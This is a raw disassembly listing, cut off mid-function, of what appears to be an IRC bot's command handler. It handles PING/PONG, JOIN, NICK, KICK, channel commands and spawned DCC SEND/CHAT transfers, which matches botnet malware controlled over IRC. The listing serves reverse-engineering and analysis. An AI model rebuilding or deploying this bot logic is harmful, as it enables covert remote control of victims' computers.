var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42CA30 ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42CA2C ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42CA28 ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08D
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9BC
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2C
loc_401E91: ; CODE XREF: sub_401ACD+253Bj
; sub_401ACD+2558j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A61j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A83j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C35j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A72
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42C968
loc_402077: ; CODE XREF: sub_401ACD+28CCj
; sub_401ACD+2C4Cj ...
call sub_415220
loc_40207C: ; CODE XREF: sub_401ACD+1BE1j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C944
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
cmp dword_429088, ebx
jz loc_409854
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42C928
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C8EC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BC
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2650E43h
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42C8E8
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42C8DC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CAE28
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42C8C0
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42C8B8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42C8A0
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7852j
nop
call near ptr 2660A00h
push eax
push offset unk_42C864
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42C820
loc_40240A: ; CODE XREF: sub_401ACD+7E29j
; sub_401ACD+7E90j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33E
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C7F8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset byte_415C59
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2650E43h
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
call near ptr 2660A00h
nop
push eax
push offset unk_42C7C0
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C790
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C75C
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aK ; "k"
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
push [ebp+arg_8]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
cmp [ebp+var_A4], ebx
jnz short loc_4025BD
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
loc_4025BD: ; CODE XREF: sub_401ACD+AD4j
cmp [ebp+arg_28], ebx
jnz loc_409854
xor edi, edi
cmp dword_429230, ebx
jle loc_402772
mov [ebp+arg_20], offset dword_43D130
loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402601
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_429230
jl short loc_4025DB
jmp loc_402772
; ---------------------------------------------------------------------------
loc_402601: ; CODE XREF: sub_401ACD+B1Dj
push offset asc_42CA30 ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D148[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402656: ; CODE XREF: sub_401ACD+C3Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C2
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C2
lea eax, dword_43D130[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FD
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FD
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
jmp short loc_4026FD
; ---------------------------------------------------------------------------
